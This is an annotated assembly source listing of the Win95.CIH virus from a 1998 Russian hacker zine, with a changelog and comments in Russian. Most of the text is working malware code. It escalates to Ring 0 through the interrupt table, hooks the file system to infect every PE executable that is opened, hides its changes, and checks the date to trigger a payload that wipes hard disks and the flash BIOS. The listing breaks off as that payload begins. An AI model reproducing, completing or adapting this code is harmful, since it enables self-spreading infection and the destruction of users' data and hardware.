comment * INFECTED VOICE ISSUE 98'09 (C)1994-98, by STEALTH group online h/p/v/a zine (russian) http://sourceofkaos.com/stealth mailto:noxyucT@usa.net Вирус Win95.CIH - один из самых заметных за последнее время. И не только потому, что он является первым из "вирусов, действительно портящих железо". А, главным образом потому, что он использует очень интересный фокус с пролезанием на 0-е кольцо привилегий процессора (в то время как большинство вирусов и юзерских программ - сосут на третьем). После этого вирус может вызывать (и успешно это делает) VxD сервисы и запись в порты. Он не изменяет SYSTEM.INI, он не пишет .VXD-файлов в WINDOWS\SYSTEM, он только заражает PE-файлы... и (иногда) стирает FLASH BIOS и жесткие диски :) ... Грубо говоря, это первый "по-настоящему резидентный" Win95/98 вирус (еще добывить немножко полиморфизма, и будет все как под DOS :)) Оригинальный исходник вируса был прислан автором в макровирусный журнал Codebreakers #4. * ; **************************************************************************** ; * Информация о программе * ; **************************************************************************** ; * * ; * Дизайнер : CIH Источник: TTIT TATUNG, Тайвань * ; * Дата Создания: 04/26/1998 Версия: 1.4 * ; * Время последней модификации: 05/31/1998 * ; * * ; * Turbo Assembler 4.0 : tasm /m cih * ; * Turbo Link 3.01 : tlink /3 /t cih, cih.exe * ; * * ; *==========================================================================* ; История модификаций ; *==========================================================================* ; * v1.0 1. Создать Вирус. * ; * 2. Вирус модифицирует IDT для достижения привилегий Ring0 * ; * 04/26/1998 3. Вирус не загружается повторно. * ; * 4. Вызывает IFSMgr_InstallFileSystemApiHook для внедрения в * ; * фйловую систему. * ; * 5. Изменяет точку входа в IFSMgr_InstallFileSystemApiHook. * ; * 6. Если операционная система открывает файл, он будет * ; * заражен, и не будет заражен повторно. * ; * 7. Файл будет заражен если он Read-Only. * ; * 8. Если файл заражаеся - его Дата и Время Модификации * ; * не будут изменены. * ; * 9. Когда вирус вызывает IFSMgr_Ring0_FileIO, он не будет * ; * вызывать предыдущий FileSystemApiHook, он вызовет функцию* ; * которую IFS Менеджер будет вызывать,чтобы выполнить * ; * обычный запрос Ввода/Вывода. * ; * 10. Размер Вируса 656 Байт. * ; *==========================================================================* ; * v1.1 1. Длинна файла не изменяется при заражении. * ; * 05/15/1998 2. Перехватывается Structured Exception Handing (SEH). * ; * Если возникает ошибка исключения, то ОС - скорее всего * ; * Windows NT. Так что наш прикольный вирус не будет * ; * продолжать Свое Дело :) он передаст управление * ; * оригинальной программе. * ; * 3. Использован лучший алгоритм. Размер вируса уменьшен. * ; * 4. "Базовый" размер вируса 796 Баит. * ; *==========================================================================* ; * v1.2 1. Убить все жесткие диски, и BIOS... Все... Hахуй... * ; * 2. Исправлен баг в v1.1 * ; * 05/21/1998 3. "Базовый" размер вируса 1003 Байт. * ; *==========================================================================* ; * v1.3 1. Исрпавлен баг с ошибкой WinZip Self-Extractor'a * ; * Теперь эти файлы не заражаются. * ; * 05/24/1998 2. "Базовый" размер вируса 1010 Байт. * ; *==========================================================================* ; * v1.4 1. Баг с WinZip Self-Extractor полностью исправлен. * ; * 2. Изменена дата стабатывания "сюрприза". * ; * 05/31/1998 3. Исправлена версия Copyright. * ; * 4. "Базовый" размер вируса 1019 Байт. * ; **************************************************************************** .586P ; **************************************************************************** ; * Оригинальный PE файл (Hе стоит модифицировать эту секцию) ; **************************************************************************** OriginalAppEXE SEGMENT FileHeader: db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h dd 00000000h, VirusSize OriginalAppEXE ENDS ; ---------------------------------------------------------------------------- ; Моя игра в вирусы ; ---------------------------------------------------------------------------- ;---------------------------------------------------------------------------- ; Определение констант ;---------------------------------------------------------------------------- TRUE = 1 FALSE = 0 DEBUG = TRUE MajorVirusVersion = 1 MinorVirusVersion = 4 VirusVersion = MajorVirusVersion*10h+MinorVirusVersion IF DEBUG FirstKillHardDiskNumber = 81h HookExceptionNumber = 05h ELSE FirstKillHardDiskNumber = 80h HookExceptionNumber = 03h ENDIF FileNameBufferSize = 7fh ;---------------------------------------------------------------------------- ;---------------------------------------------------------------------------- VirusGame SEGMENT ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame ;---------------------------------------------------------------------------- ; Инициализация на Кольце 3 (Ring3) ;---------------------------------------------------------------------------- MyVirusStart: push ebp ;---------------------------------------------------------------------------- ; Модифицируем Structured Exception Handing, для предотвращения ошибки ; исключения, особенно на windows NT. ;---------------------------------------------------------------------------- lea eax, [esp-04h*2] xor ebx, ebx xchg eax, fs:[ebx] call @0 @0: pop ebx lea ecx, StopToRunVirusCode-@0[ebx] push ecx push eax ;---------------------------------------------------------------------------- ; Модификация IDT (Interrupt Descriptor Table - таблицы дескрипторов ; прерываний) для достижения привилегий Ring0 ;---------------------------------------------------------------------------- push eax ; sidt [esp-02h] ; Получить базовый адрес IDT pop ebx ; add ebx, HookExceptionNumber*08h+04h ; ZF = 0 cli mov ebp, [ebx] ; Получить базу ; прерывания/исключения mov bp, [ebx-04h] ; и точку входа lea esi, MyExceptionHook-@1[ecx] push esi mov [ebx-04h], si ; shr esi, 16 ; Перехватить прерывание mov [ebx+02h], si ; наша точка входа pop esi ;---------------------------------------------------------------------------- ; Сгенерируеи исключение, чтоб перейти на Кольцо0 ;---------------------------------------------------------------------------- int HookExceptionNumber ; Генерируем ReturnAddressOfEndException = $ ;---------------------------------------------------------------------------- ; Обьединим все кодовые секции вируса ;---------------------------------------------------------------------------- push esi mov esi, eax LoopOfMergeAllVirusCodeSection: mov ecx, [eax-04h] rep movsb sub eax, 08h mov esi, [eax] or esi, esi jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1 jmp LoopOfMergeAllVirusCodeSection QuitLoopOfMergeAllVirusCodeSection: pop esi ;---------------------------------------------------------------------------- ; Генерируем исключение снова ;---------------------------------------------------------------------------- int HookExceptionNumber ; Генерируем снова ;---------------------------------------------------------------------------- ; Восстановим Structured Exception Handing (SEH) назад ;---------------------------------------------------------------------------- ReadyRestoreSE: sti xor ebx, ebx jmp RestoreSE ;---------------------------------------------------------------------------- ; Когда возникнет Ошибка Исключения, наша ОС должно быть - Windows NT ; Так что мой миленький :) вирус не будет работать дальше, а вернет ; управление оригинальному приложению ;---------------------------------------------------------------------------- StopToRunVirusCode: @1 = StopToRunVirusCode xor ebx, ebx mov eax, fs:[ebx] mov esp, [eax] RestoreSE: pop dword ptr fs:[ebx] pop eax ;---------------------------------------------------------------------------- ; Возвратить управление программе ;---------------------------------------------------------------------------- pop ebp push 00401000h ; Точка входа OriginalAddressOfEntryPoint = $-4 ; в оригинальную программу ret ; Возвратить управление ;---------------------------------------------------------------------------- ; Инициализация на кольце 0 ;---------------------------------------------------------------------------- MyExceptionHook: @2 = MyExceptionHook jz InstallMyFileSystemApiHook ;---------------------------------------------------------------------------- ; Запущена ли другая копия !? ;---------------------------------------------------------------------------- mov ecx, dr0 jecxz AllocateSystemMemoryPage add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException ;---------------------------------------------------------------------------- ; Возвратиться в программу инициализации на Кольце0 ;---------------------------------------------------------------------------- ExitRing0Init: mov [ebx-04h], bp ; shr ebp, 16 ; Восстановить прерывание mov [ebx+02h], bp ; iretd ;---------------------------------------------------------------------------- ; Выделить страницу системной памяти ;---------------------------------------------------------------------------- AllocateSystemMemoryPage: mov dr0, ebx ; Поставим метку, что вирус ; уже запущен push 00000000fh ; push ecx ; push 0ffffffffh ; push ecx ; push ecx ; push ecx ; push 000000001h ; push 000000002h ; int 20h ; VMMCALL _PageAllocate _PageAllocate = $ ; dd 00010053h ; Использует EAX, ECX, EDX, ; и флаги add esp, 08h*04h xchg edi, eax ; EDI = Hачальный адрес ; выделенной памяти lea eax, MyVirusStart-@2[esi] iretd ; Возвратиться в программу инициализации ; на Кольце0 ;---------------------------------------------------------------------------- ; Установить мой обработчик API файловой системы ;---------------------------------------------------------------------------- InstallMyFileSystemApiHook: lea eax, FileSystemApiHook-@6[edi] push eax ; int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook IFSMgr_InstallFileSystemApiHook = $ ; dd 00400067h ; Использует EAX, ECX, EDX, ; и флаги mov dr0, eax ; сохранить адрес старого ; обработчика ; (OldFileSystemApiHook) pop eax ; EAX = адрес FileSystemApiHook ; Сохранить старый адрес процедуры перехвата ; сервисов файловой системы ; (IFSMgr_InstallFileSystemApiHook) mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] mov edx, [ecx] mov OldInstallFileSystemApiHook-@3[eax], edx ; Перехватить запросы на установку нового ; обработчика API файловой системы ; (IFSMgr_InstallFileSystemApiHook) lea eax, InstallFileSystemApiHook-@3[eax] mov [ecx], eax cli jmp ExitRing0Init ;---------------------------------------------------------------------------- ; Размер загрузчика, котрый склеивает все части вируса ;---------------------------------------------------------------------------- CodeSizeOfMergeVirusCodeSection = offset $ ;---------------------------------------------------------------------------- ; Обработчик сервиса перехвата API файловой системы ; IFSMgr_InstallFileSystemApiHook ;---------------------------------------------------------------------------- InstallFileSystemApiHook: push ebx call @4 ; @4: ; pop ebx ; mov ebx, offset FileSystemApiHook add ebx, FileSystemApiHook-@4 ; push ebx ; временно удалить наш обработчик int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook IFSMgr_RemoveFileSystemApiHook = $ dd 00400068h ; Использует EAX, ECX, EDX, ; и флаги pop eax ; Вызвать оригинальный IFSMgr_InstallFileSystemApiHook ; чтобы добавить запрошенный клиентом обработчик push dword ptr [esp+8] call OldInstallFileSystemApiHook-@3[ebx] pop ecx push eax ; Вызвать оригинальный IFSMgr_InstallFileSystemApiHook ; чтобы добавить наш обработчик сверху всех push ebx call OldInstallFileSystemApiHook-@3[ebx] pop ecx mov dr0, eax ; Изменить адрес старого ; обработчика API файловой ; системы ; (OldFileSystemApiHook) pop eax pop ebx ret ;---------------------------------------------------------------------------- ; Статические (неподвижные) данные ;---------------------------------------------------------------------------- OldInstallFileSystemApiHook dd ? ;---------------------------------------------------------------------------- ; Обработчик API файловой системы (IFSMgr_FileSystemHook) ;---------------------------------------------------------------------------- ;---------------------------------------------------------------------------- ; Точка входа в IFSMgr_FileSystemHook ;---------------------------------------------------------------------------- FileSystemApiHook: @3 = FileSystemApiHook pushad call @5 ; @5: ; pop esi ; mov esi, offset VirusGameDataStartAddress add esi, VirusGameDataStartAddress-@5 ;------------------------------------ ; Поставлен ли флажек занятости!? ;------------------------------------ test byte ptr (OnBusy-@6)[esi], 01h ; если поставлен - jnz pIFSFunc ; исполнить запрошенную функцию ; (goto pIFSFunc) ;------------------------------------ ; Запрос на открытие файла (OpenFile)!? ;------------------------------------ ; Если это не открытие файла - ; исполнить оригинальный обработчик ; (goto prevhook) lea ebx, [esp+20h+04h+04h] cmp dword ptr [ebx], 00000024h jne prevhook ;------------------------------------ ; Включить флажек занятости ;------------------------------------ inc byte ptr (OnBusy-@6)[esi] ;---------------------------------------------------------------------------- ; Получить номер диска из ПутиКФайлу ; и установить имя диска в Буфере (FileNameBuffer) ;------------------------------------ ; Hапример. если HомерДиска 03h, ; - Имя диска 'C:' ;---------------------------------------------------------------------------- ; mov esi, offset FileNameBuffer add esi, FileNameBuffer-@6 push esi mov al, [ebx+04h] cmp al, 0ffh je CallUniToBCSPath add al, 40h mov ah, ':' mov [esi], eax inc esi inc esi ;--------------------------------------------------------------------------* ; UniToBCSPath ;--------------------------------------------------------------------------* ; Этот сервис конвертирует Канонизированный Unicode путь ; в нормальный в выбранной кодовой странице BCS ;--------------------------------------------------------------------------* CallUniToBCSPath: push 00000000h push FileNameBufferSize mov ebx, [ebx+10h] mov eax, [ebx+0ch] add eax, 04h push eax push esi int 20h ; VXDCall UniToBCSPath UniToBCSPath = $ dd 00400041h add esp, 04h*04h ;------------------------------------ ; имя файла кончается на '.EXE' !? ;------------------------------------ ; cmp [esi+eax-04h], '.EXE' cmp [esi+eax-04h], 'EXE.' pop esi jne DisableOnBusy IF DEBUG ;------------------------------------ ; Только для отладки ;------------------------------------ ; cmp [esi+eax-06h], 'FUCK' cmp [esi+eax-06h], 'KCUF' jne DisableOnBusy ENDIF ;------------------------------------ ; открывается уже существующий файл!? ;------------------------------------ ; if ( NotOpenExistingFile ) ; goto DisableOnBusy cmp word ptr [ebx+18h], 01h jne DisableOnBusy ;------------------------------------ ; получить аттрибуты файла ;------------------------------------ mov ax, 4300h int 20h ; VXDCall IFSMgr_Ring0_FileIO IFSMgr_Ring0_FileIO = $ dd 00400032h jc DisableOnBusy push ecx ;------------------------------------ ; получить адрес файлового сервиса ввода-вывода ; (IFSMgr_Ring0_FileIO) ;------------------------------------ mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi] mov edi, [edi] ;------------------------------------ ; Файл только для чтения!? ;------------------------------------ test cl, 01h jz OpenFile ;------------------------------------ ; переставить в чтение-запись ;------------------------------------ mov ax, 4301h xor ecx, ecx call edi ; VXDCall IFSMgr_Ring0_FileIO ;------------------------------------ ; открыть файл ;------------------------------------ OpenFile: xor eax, eax mov ah, 0d5h xor ecx, ecx xor edx, edx inc edx mov ebx, edx inc ebx call edi ; VXDCall IFSMgr_Ring0_FileIO xchg ebx, eax ; mov ebx, FileHandle ; хендл файла в ebx ;------------------------------------ ; Hадо ли восстановить атрибуты файла? ;------------------------------------ pop ecx pushf test cl, 01h jz IsOpenFileOK ;------------------------------------ ; Восстановить атрибуты ;------------------------------------ mov ax, 4301h call edi ; VXDCall IFSMgr_Ring0_FileIO ;------------------------------------ ; Файл открыт? ;------------------------------------ IsOpenFileOK: popf jc DisableOnBusy ;------------------------------------ ; Если открытие файла прошло удачно ;------------------------------------ push esi ; Сохраним адрес буфера ; (с именем файла) в стек ; (FileNameBuffer) pushf ; Теперь CF = 0, Сохранить флаги add esi, DataBuffer-@7 ; mov esi, offset DataBuffer ;-------------------------- ; получить смещение до NE-заголовка ;-------------------------- xor eax, eax mov ah, 0d6h ; Чтобы минимизировать код ; я сохраняю EAX в EBP. mov ebp, eax push 00000004h pop ecx push 0000003ch pop edx call edi ; VXDCall IFSMgr_Ring0_FileIO mov edx, [esi] ;---------------------------------------------------------------------------- ; Получить 'PE\0' сигнатуру из заголовка файла ; и метку заражения ;---------------------------------------------------------------------------- dec edx mov eax, ebp call edi ; VXDCall IFSMgr_Ring0_FileIO ;---------------------------------------------------------------------------- ; Это PE !? ;-------------------------- ; Файл уже заражен ?! ;-------------------------- ; самораспаковывающиеся WinZip архивы ; не имеют метки заражения, потому что мой вирус не заражает их ;---------------------------------------------------------------------------- ; cmp [esi], '\0PE\0' cmp dword ptr [esi], 00455000h jne CloseFile ;---------------------------------------------------------------------------- ; Файл - PE (Portable Executable) ;------------------------------------ ; Файл также не заражен ;------------------------------------ ;------------------------------------ ; Hачать заражение ;------------------------------------ ; Статус использования регистров ; в этот момент: ; EAX = 04h ; EBX = Хэндл файла ; ECX = 04h ; EDX = (позиция в файле) указывает на 'PE\0\0'-сигнатуру в заголовке файла ; ESI = адрес буфера данных ==> @8 ; EDI = адрес обработчика IFSMgr_Ring0_FileIO ; EBP = D600h ==> Считать данные из файла ;---------------------------------------------------------------------------- ; Стек: ; * ; ESP => ------------------------- * ; | EFLAG(CF=0) | * ; ------------------------- * ; | FileNameBufferPointer | * ; ------------------------- * ; | EDI | * ; ------------------------- * ; | ESI | * ; ------------------------- * ; | EBP | * ; ------------------------- * ; | ESP | * ; ------------------------- * ; | EBX | * ; ------------------------- * ; | EDX | * ; ------------------------- * ; | ECX | * ; ------------------------- * ; | EAX | * ; ------------------------- * ; | Адрес возврата | * ; ------------------------- * ;---------------------------------------------------------------------------- push ebx ; сохранить хэндл файла push 00h ; установить марку конца таблицы ; кодовых секций вируса ; (VirusCodeSectionTableEndMark) ;-------------------------- ; Поставить метку зараженности ;-------------------------- push 01h ; Размер push edx ; Позиция в файле push edi ; Адрес буфера ;-------------------------- ; Сохранить ESP ;-------------------------- mov dr1, esp ;-------------------------- ; Установить новый адрес точки входа (NewAddressOfEntryPoint). ; ( Only First Set Size ) * ;-------------------------- push eax ; Размер ;-------------------------- ; Считать заголовок файла ;-------------------------- mov eax, ebp mov cl, SizeOfImageHeaderToRead add edx, 07h ; Переместить EDX (указатель) на ; количество секций call edi ; VXDCall IFSMgr_Ring0_FileIO ;---------------------------------------------------------------------------- ; Установить новый адрес точки входа (NewAddressOfEntryPoint). ; Установить указатель, адрес буфера ;---------------------------------------------------------------------------- lea eax, (AddressOfEntryPoint-@8)[edx] push eax ; Указатель lea eax, (NewAddressOfEntryPoint-@8)[esi] push eax ; Адрес буфера ;---------------------------------------------------------------------------- ; Переместить EDX-указатель на начало таблицы секций ;---------------------------------------------------------------------------- movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi] lea edx, [eax+edx+12h] ;---------------------------------------------------------------------------- ; получить общий размер секций ;---------------------------------------------------------------------------- mov al, SizeOfScetionTable ; Я предполагаю что количество секций ; (NumberOfSections) <= 0ffh mov cl, (NumberOfSections-@8)[esi] mul cl ;-------------------------- ; установить таблицу секций ;-------------------------- ; Переместить ESI на начало таблицы секций lea esi, (StartOfSectionTable-@8)[esi] push eax ; Размер push edx ; Позиция в файле push esi ; Адрес буфера ;---------------------------------------------------------------------------- ; размер вирусного загрузчика + размер таблицы секций вируса, ; должен быть меньше или равен размеру неиспользуемого места ; в файле (этот размер расчитывается из таблицы секций) ;---------------------------------------------------------------------------- inc ecx push ecx ; Сохранить количество секций +1 ; (NumberOfSections+1) shl ecx, 03h push ecx ; сохранить размер таблицы секций вируса ; (TotalSizeOfVirusCodeSectionTable) add ecx, eax add ecx, edx sub ecx, (SizeOfHeaders-@9)[esi] not ecx inc ecx ; Сокранить первую кодовую секцию вируса (загрузчик) ; Size of Following Section Table... ; (Hе включая размер таблицы кодовых секций вируса) push ecx xchg ecx, eax ; ECX = Размер таблицы секций ; Сохранить адрес оригинальной точки входа mov eax, (AddressOfEntryPoint-@9)[esi] add eax, (ImageBase-@9)[esi] mov (OriginalAddressOfEntryPoint-@9)[esi], eax cmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection jl OnlySetInfectedMark ;-------------------------- ; Считать размер всех секций (файла) ;-------------------------- mov eax, ebp call edi ; VXDCall IFSMgr_Ring0_FileIO ;---------------------------------------------------------------------------- ; Исправлено: ; Возникновение ошибки в самораспаковывающихся архивах WinZip ;---------------------------------------------------------------------------- ; Если юзер открывает самораспаковывыющийся WinZip-архив, ; то вирус его не заражает (архив в смысле :) ;---------------------------------------------------------------------------- ; Сначала, вирус получает указатель на секцию Raw-данных (PointerToRawData) ; во второй таблице секций, читает данные из секции, и ищет строку 'WinZip(R)' ;---------------------------------------------------------------------------- xchg eax, ebp push 00000004h pop ecx push edx mov edx, (SizeOfScetionTable+PointerToRawData-@9)[esi] add edx, 12h call edi ; VXDCall IFSMgr_Ring0_FileIO ; cmp [esi], 'nZip' cmp dword ptr [esi], 'piZn' je NotSetInfectedMark pop edx ;---------------------------------------------------------------------------- ; Установить общий размер таблицы секций вируса ;---------------------------------------------------------------------------- ; EBX = Размер первой секции вируса ; плюс размер последующей таблицы вирусных ; секций (но не сама таблица) pop ebx pop edi ; EDI = общий размер таблицы ; секций вируса ; (TotalSizeOfVirusCodeSectionTable) pop ecx ; ECX = Количество секций +1 ; (NumberOfSections+1) push edi ; Размер add edx, ebp push edx ; Позиция add ebp, esi push ebp ; Адрес буфера ;---------------------------------------------------------------------------- ; Установить размер первой секции вируса в ; таблице секций вируса (VirusCodeSectionTable) ;---------------------------------------------------------------------------- lea eax, [ebp+edi-04h] mov [eax], ebx ;---------------------------------------------------------------------------- ; Записать первую секцию вируса ;---------------------------------------------------------------------------- push ebx ; Size add edx, edi push edx ; Pointer of File lea edi, (MyVirusStart-@9)[esi] push edi ; Address of Buffer ;---------------------------------------------------------------------------- ; Изменить адрес точки входа на точку входа в вирус ;---------------------------------------------------------------------------- mov (NewAddressOfEntryPoint-@9)[esi], edx ;-------------------------- ; Установка начальных данных ;-------------------------- lea edx, [esi-SizeOfScetionTable] mov ebp, offset VirusSize jmp StartToWriteCodeToSections ;-------------------------- ; Записать код вируса в секции ;-------------------------- LoopOfWriteCodeToSections: add edx, SizeOfScetionTable mov ebx, (SizeOfRawData-@9)[edx] sub ebx, (VirtualSize-@9)[edx] jbe EndOfWriteCodeToSections push ebx ; Размер sub eax, 08h mov [eax], ebx mov ebx, (PointerToRawData-@9)[edx] add ebx, (VirtualSize-@9)[edx] push ebx ; Позиция в файле push edi ; Адрес буфера mov ebx, (VirtualSize-@9)[edx] add ebx, (VirtualAddress-@9)[edx] add ebx, (ImageBase-@9)[esi] mov [eax+4], ebx mov ebx, [eax] add (VirtualSize-@9)[edx], ebx ; Секция содержит инициализируемые данные ; ==> 00000040h ; Секция доступна для чтения ==> 40000000h or (Characteristics-@9)[edx], 40000040h StartToWriteCodeToSections: sub ebp, ebx jbe SetVirusCodeSectionTableEndMark add edi, ebx ; переместить адрес буфера EndOfWriteCodeToSections: loop LoopOfWriteCodeToSections ;-------------------------- ; Поставить метку зараженности ;-------------------------- OnlySetInfectedMark: mov esp, dr1 jmp WriteVirusCodeToFile ;-------------------------- ; Hе ставить метку зараженности ;-------------------------- NotSetInfectedMark: add esp, 3ch jmp CloseFile ;-------------------------- ; Записать метку конца таблицы секций вируса ;-------------------------- SetVirusCodeSectionTableEndMark: ; изменить размер кодовой секции вируса add [eax], ebp add [esp+08h], ebp ; установить метку окончания xor ebx, ebx mov [eax-04h], ebx ;---------------------------------------------------------------------------- ; Когда вирус вызывает VxDCall, VMM модифицирует код 'int 20h' и ; идентификатор сервиса ('Service Identifier') на код 'Call [XXXXXXXX]' ;---------------------------------------------------------------------------- ; Перед записью вируса в файл, надо восстановить все эти места кода ;---------------------------------------------------------------------------- lea eax, (LastVxDCallAddress-2-@9)[esi] mov cl, VxDCallTableSize LoopOfRestoreVxDCallID: mov word ptr [eax], 20cdh mov edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi] mov [eax+2], edx movzx edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi] sub eax, edx loop LoopOfRestoreVxDCallID ;-------------------------- ; Записать код вируса в файл ;-------------------------- WriteVirusCodeToFile: mov eax, dr1 mov ebx, [eax+10h] mov edi, [eax] LoopOfWriteVirusCodeToFile: pop ecx jecxz SetFileModificationMark mov esi, ecx mov eax, 0d601h pop edx pop ecx call edi ; VXDCall IFSMgr_Ring0_FileIO jmp LoopOfWriteVirusCodeToFile ;---------------------------------------------------------------------------- ; Задать CF = 1 ==> надо для восстановления времени модификации файла ;---------------------------------------------------------------------------- SetFileModificationMark: pop ebx pop eax stc ; Установить CF (Флаг переноса) pushf ;------------------------------------ ; Закрыть файл ;------------------------------------ CloseFile: xor eax, eax mov ah, 0d7h call edi ; VXDCall IFSMgr_Ring0_FileIO ;------------------------------------ ; Hадо ли восстанавливать время модификации файла?! ;------------------------------------ popf pop esi jnc IsKillComputer ;------------------------------------ ; Восстановить время модификации файла ;------------------------------------ mov ebx, edi mov ax, 4303h mov ecx, (FileModificationTime-@7)[esi] mov edi, (FileModificationTime+2-@7)[esi] call ebx ; VXDCall IFSMgr_Ring0_FileIO ;------------------------------------ ; Выключить флаг занятости ;------------------------------------ DisableOnBusy: dec byte ptr (OnBusy-@7)[esi] ; Выключить ;------------------------------------ ; Вызвать предыдущий обработчик файлоывого API ... (FileSystemApiHook) ;------------------------------------ prevhook: popad mov eax, dr0 ; jmp [eax] ; Перейти на предыдущий ; обработчик ;---------------------------------------------------------------------------- ; Вызвать функцию, которую IFS менеджер обычно вызывает для выполнения ; обычного запроса ввода-вывода. ;---------------------------------------------------------------------------- pIFSFunc: mov ebx, esp push dword ptr [ebx+20h+04h+14h] ; Запрос call [ebx+20h+04h] ; Вызвать pIFSFunc pop ecx ; mov [ebx+1ch], eax ; Исправить значение EAX ; сохраненное в стеке ;---------------------------------------------------------------------------- ; После вызова pIFSFunc, получить данные возвращенные на запрос ;---------------------------------------------------------------------------- cmp dword ptr [ebx+20h+04h+04h], 00000024h jne QuitMyVirusFileSystemHook ;---------------------------------------------------------------------------- ; Получить время и дату модификации в DOS форматы ;---------------------------------------------------------------------------- mov eax, [ecx+28h] mov (FileModificationTime-@6)[esi], eax ;---------------------------------------------------------------------------- ; Выйти из обработчика (IFSMgr_FileSystemHook) ;---------------------------------------------------------------------------- QuitMyVirusFileSystemHook: popad ret ;------------------------------------ ; Разьебать компьютер!? ... *^_^* ;------------------------------------ IsKillComputer: ; Получить сегодняшнее число из BIOS CMOS mov al, 07h out 70h, al in al, 71h xor al, 26h ; ??/26/???? IF DEBUG jmp DisableOnBusy ELSE jnz DisableOnBusy ENDIF ; (непереводимо :) ;------------------------------------* ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ;------------------------------------* ;-------------------------- ; Прибить BIOS EEPROM ;-------------------------- mov bp, 0cf8h 